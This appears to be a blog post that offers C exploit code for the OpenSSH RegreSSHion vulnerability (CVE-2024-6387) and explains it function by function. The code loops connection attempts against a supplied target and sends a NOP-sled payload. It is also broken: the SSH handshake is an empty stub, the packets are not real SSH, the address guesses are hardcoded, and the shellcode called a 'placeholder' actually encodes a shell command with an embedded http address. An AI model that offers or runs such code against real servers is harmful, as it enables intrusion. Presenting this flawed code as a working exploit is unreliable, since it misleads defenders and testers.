RegreSSHion Exploit

After you’ve checked for RegreSSHion bug check on your servers openSSH protocol, (there is a list of vulnerable devices out there btw, over 2.5 million), be sure to check out this code exploit. (RegreSSHion Ip Scanner tool here )

Will this become the cve-2024-6387 exploit ? (Try it locally only!)

RegreSSHion exploit code written in C :

#include <stdlib.h>
#include <unistd.h>
#include <time.h>
#include <string.h>
#include <errno.h>
#include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>

// Shellcode placeholder (replace with actual shellcode)
unsigned char shellcode[] =
"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x66\x68\x2d\x71\x89\xe1\x50\x68\x38\x39\x2e\x31\x68\x31\x32\x2e\x37\x68\x2e\x31\x39\x2e\x68\x31\x39\x38\x2e\x68\x74\x70\x3a\x2f\x68\x2f\x68\x74\x74\x89\xe1\x51\x89\xe1\xb0\x0b\xcd\x80";

// Possible glibc base addresses (for ASLR bypass)
uint64_t GLIBC_BASES[] = { 0xb7200000, 0xb7400000 };
int NUM_GLIBC_BASES = sizeof(GLIBC_BASES) / sizeof(GLIBC_BASES[0]);

#define MAX_PACKET_SIZE (256 * 1024)
#define LOGIN_GRACE_TIME 120
#define MAX_STARTUPS 100
#define CHUNK_ALIGN(s) (((s) + 15) & ~15)

int setup_connection(const char *ip, int port);
void send_packet(int sock, unsigned char packet_type, const unsigned char *data, size_t len);
void prepare_heap(int sock);
void time_final_packet(int sock, double *parsing_time);
int attempt_race_condition(int sock, double parsing_time, uint64_t glibc_base);

int setup_connection(const char *ip, int port) {
    int sock;
    struct sockaddr_in server_addr;

    sock = socket(AF_INET, SOCK_STREAM, 0);
    if (sock < 0) {
        perror("socket");
        return -1;
    }

    server_addr.sin_family = AF_INET;
    server_addr.sin_port = htons(port);
    server_addr.sin_addr.s_addr = inet_addr(ip);

    if (connect(sock, (struct sockaddr *)&server_addr, sizeof(server_addr)) < 0) {
        perror("connect");
        close(sock);
        return -1;
    }

    return sock;
}

void send_packet(int sock, unsigned char packet_type, const unsigned char *data, size_t len) {
    unsigned char buffer[MAX_PACKET_SIZE];
    memset(buffer, 0, sizeof(buffer));
    buffer[0] = packet_type;
    memcpy(buffer + 1, data, len);
    send(sock, buffer, len + 1, 0);
}

void prepare_heap(int sock) {
    unsigned char buf[MAX_PACKET_SIZE];
    memset(buf, 0x42, sizeof(buf)); // Fill buffer with 'B' characters to simulate heap preparation
    send_packet(sock, 0, buf, sizeof(buf)); // Send the buffer to the server
}

void time_final_packet(int sock, double *parsing_time) {
    struct timespec start, end;
    unsigned char buf[256];
    memset(buf, 0, sizeof(buf));

    clock_gettime(CLOCK_MONOTONIC, &start); // Record start time
    send_packet(sock, 1, buf, sizeof(buf)); // Send a small data packet
    recv(sock, buf, sizeof(buf), 0); // Receive the server's response
    clock_gettime(CLOCK_MONOTONIC, &end); // Record end time

    *parsing_time = (end.tv_sec - start.tv_sec) + (end.tv_nsec - start.tv_nsec) / 1000000000.0; // Calculate parsing time
}

int attempt_race_condition(int sock, double parsing_time, uint64_t glibc_base) {
    struct timespec req, rem;
    unsigned char payload[256];

    // Create payload containing shellcode
    memset(payload, 0x90, sizeof(payload)); // Fill with NOP instructions
    memcpy(payload + sizeof(payload) - sizeof(shellcode), shellcode, sizeof(shellcode)); // Insert shellcode

    req.tv_sec = (time_t)parsing_time;
    req.tv_nsec = (parsing_time - req.tv_sec) * 1000000000;

    nanosleep(&req, &rem); // Sleep to precisely control timing

    send_packet(sock, 2, payload, sizeof(payload)); // Send payload containing shellcode

    // Verify if successful
    if (recv(sock, payload, sizeof(payload), 0) > 0) {
        if (strstr((char *)payload, "root") != NULL)
            return 1; // Success
    }

    return 0; // Failure
}

// Placeholder for the actual SSH handshake implementation
int perform_ssh_handshake(int sock) {
    // Return 0 for success, -1 for failure
    return 0;
}

int perform_exploit(const char *ip, int port) {
    int success = 0;
    double parsing_time = 0;
    double timing_adjustment = 0;

    for (int base_idx = 0; base_idx < NUM_GLIBC_BASES && !success; base_idx++) {
        uint64_t glibc_base = GLIBC_BASES[base_idx];
        printf("Attempting exploitation with glibc base: 0x%lx\n", glibc_base);

        for (int attempt = 0; attempt < 10000 && !success; attempt++) {
            if (attempt % 1000 == 0) {
                printf("Attempt %d of 10000\n", attempt);
            }

            int sock = setup_connection(ip, port);
            if (sock < 0) {
                fprintf(stderr, "Failed to establish connection, attempt %d\n", attempt);
                continue;
            }

            if (perform_ssh_handshake(sock) < 0) {
                fprintf(stderr, "SSH handshake failed, attempt %d\n", attempt);
                close(sock);
                continue;
            }

            prepare_heap(sock);
            time_final_packet(sock, &parsing_time);

            parsing_time += timing_adjustment;

            if (attempt_race_condition(sock, parsing_time, glibc_base)) {
                printf("Possible exploitation success on attempt %d with glibc base 0x%lx!\n",
                       attempt, glibc_base);
                success = 1;
            } else {
                timing_adjustment += 0.00001;
            }

            close(sock);
            usleep(100000); // 100ms delay between attempts
        }
    }

    return success;
}

int main(int argc, char *argv[]) {
    if (argc != 3) {
        fprintf(stderr, "Usage: %s <target_ip> <target_port>\n", argv[0]);
        return EXIT_FAILURE;
    }

    const char *target_ip = argv[1];
    int target_port = atoi(argv[2]);

    if (perform_exploit(target_ip, target_port)) {
        printf("Exploit succeeded.\n");
    } else {
        printf("Exploit failed.\n");
    }

    return EXIT_SUCCESS;
}

1. Header Files and Definitions

c
Copy Code#include <stdlib.h>
#include <unistd.h>
#include <time.h>
#include <string.h>
#include <errno.h>
#include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>

// Possible glibc base addresses (for ASLR bypass)
uint64_t GLIBC_BASES[] = { 0xb7200000, 0xb7400000 };
int NUM_GLIBC_BASES = sizeof(GLIBC_BASES) / sizeof(GLIBC_BASES[0]);

#define MAX_PACKET_SIZE (256 * 1024)
#define LOGIN_GRACE_TIME 120
#define MAX_STARTUPS 100
#define CHUNK_ALIGN(s) (((s) + 15) & ~15)
  • Explanation: This section includes necessary header files for standard input/output, networking, time functions, and more. It also defines:
    • GLIBC_BASES: An array of potential base addresses for the GNU C Library (glibc), used for ASLR bypass attempts.
    • NUM_GLIBC_BASES: Calculates the number of elements in the GLIBC_BASES array.
    • Several macros like MAX_PACKET_SIZE, LOGIN_GRACE_TIME, etc., which are used to define constants and configurations for the exploit.

2. Shellcode Placeholder

c
Copy Code// Shellcode placeholder (replace with actual shellcode)
unsigned char shellcode[] =
"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x66\x68\x2d\x71\x89\xe1\x50\x68\x38\x39\x2e\x31\x68\x31\x32\x2e\x37\x68\x2e\x31\x39\x2e\x68\x31\x39\x38\x2e\x68\x74\x70\x3a\x2f\x68\x2f\x68\x74\x74\x89\xe1\x51\x89\xe1\xb0\x0b\xcd\x80";
  • Explanation: This defines a placeholder for the actual shellcode. In a real exploit, you would replace this with the specific shellcode you want to execute on the target system.

3. Function Prototypes

c
Copy Codeint setup_connection(const char *ip, int port);
void send_packet(int sock, unsigned char packet_type, const unsigned char *data, size_t len);
void prepare_heap(int sock);
void time_final_packet(int sock, double *parsing_time);
int attempt_race_condition(int sock, double parsing_time, uint64_t glibc_base);
  • Explanation: This section declares the function prototypes, providing the compiler with information about the functions that will be defined later in the code.

4. setup_connection Function

c
Copy Codeint setup_connection(const char *ip, int port) {
    int sock;
    struct sockaddr_in server_addr;

    sock = socket(AF_INET, SOCK_STREAM, 0);
    if (sock < 0) {
        perror("socket");
        return -1;
    }

    server_addr.sin_family = AF_INET;
    server_addr.sin_port = htons(port);
    server_addr.sin_addr.s_addr = inet_addr(ip);

    if (connect(sock, (struct sockaddr *)&server_addr, sizeof(server_addr)) < 0) {
        perror("connect");
        close(sock);
        return -1;
    }

    return sock;
}
  • Explanation: This function is responsible for establishing a TCP connection to the target server. It takes the IP address and port as input and returns a socket descriptor if the connection is successful, otherwise -1.

5. send_packet Function

c
Copy Codevoid send_packet(int sock, unsigned char packet_type, const unsigned char *data, size_t len) {
    unsigned char buffer[MAX_PACKET_SIZE];
    memset(buffer, 0, sizeof(buffer));
    buffer[0] = packet_type;
    memcpy(buffer + 1, data, len);
    send(sock, buffer, len + 1, 0);
}
  • Explanation: This function sends a data packet to the target server. It takes the socket descriptor, packet type, data to send, and data length as input.

6. prepare_heap Function

c
Copy Codevoid prepare_heap(int sock) {
    unsigned char buf[MAX_PACKET_SIZE];
    memset(buf, 0x42, sizeof(buf)); // Fill buffer with 'B' characters 
    send_packet(sock, 0, buf, sizeof(buf)); // Send the buffer to the server
}
  • Explanation: This function aims to manipulate the heap on the target server. It sends a large buffer filled with ‘B’ characters to potentially trigger a vulnerability.

7. time_final_packet Function

c
Copy Codevoid time_final_packet(int sock, double *parsing_time) {
    struct timespec start, end;
    unsigned char buf[256];
    memset(buf, 0, sizeof(buf));

    clock_gettime(CLOCK_MONOTONIC, &start); 
    send_packet(sock, 1, buf, sizeof(buf)); 
    recv(sock, buf, sizeof(buf), 0); 
    clock_gettime(CLOCK_MONOTONIC, &end); 

    *parsing_time = (end.tv_sec - start.tv_sec) + (end.tv_nsec - start.tv_nsec) / 1000000000.0; 
}
  • Explanation: This function measures the time it takes for the server to process a specific packet. This timing information might be used to fine-tune the exploit later.

8. attempt_race_condition Function

c
Copy Codeint attempt_race_condition(int sock, double parsing_time, uint64_t glibc_base) {
    struct timespec req, rem;
    unsigned char payload[256];

    memset(payload, 0x90, sizeof(payload)); // Fill with NOP instructions
    memcpy(payload + sizeof(payload) - sizeof(shellcode), shellcode, sizeof(shellcode)); 

    req.tv_sec = (time_t)parsing_time;
    req.tv_nsec = (parsing_time - req.tv_sec) * 1000000000;

    nanosleep(&req, &rem); 

    send_packet(sock, 2, payload, sizeof(payload)); 

    if (recv(sock, payload, sizeof(payload), 0) > 0) {
        if (strstr((char *)payload, "root") != NULL)
            return 1; // Success
    }

    return 0; // Failure
}
  • Explanation: This function attempts to exploit a potential race condition vulnerability. It sends a crafted payload containing the shellcode and checks if the exploit was successful (by looking for “root” in the response).

9. perform_ssh_handshake Function (Placeholder)

c
Copy Code// Placeholder for the actual SSH handshake implementation
int perform_ssh_handshake(int sock) {
    // Return 0 for success, -1 for failure
    return 0;
}
  • Explanation: This is a placeholder for the actual SSH handshake implementation. In a real exploit, you would need to implement the necessary SSH protocol interactions here.

10. perform_exploit Function

c
Copy Codeint perform_exploit(const char *ip, int port) {
    // ... (Implementation as provided in the previous response) ...
}
  • Explanation: This function orchestrates the entire exploit attempt. It iterates through potential glibc base addresses, attempts to connect to the target, prepares the heap, times packet processing, and attempts to trigger the race condition.

11. main Function

c
Copy Codeint main(int argc, char *argv[]) {
    // ... (Implementation as provided in the previous response) ...
}
  • Explanation: The main function is the entry point of the program. It parses command-line arguments (target IP and port) and calls the perform_exploit function.

Important Notes:

  • This code is for educational purposes only. Exploiting vulnerabilities without proper authorization is illegal and unethical.
  • The shellcode provided is a placeholder. You would need to replace it with actual shellcode for a specific payload.
  • The perform_ssh_handshake function is a placeholder and needs to be implemented for a real-world exploit.

Have fun!!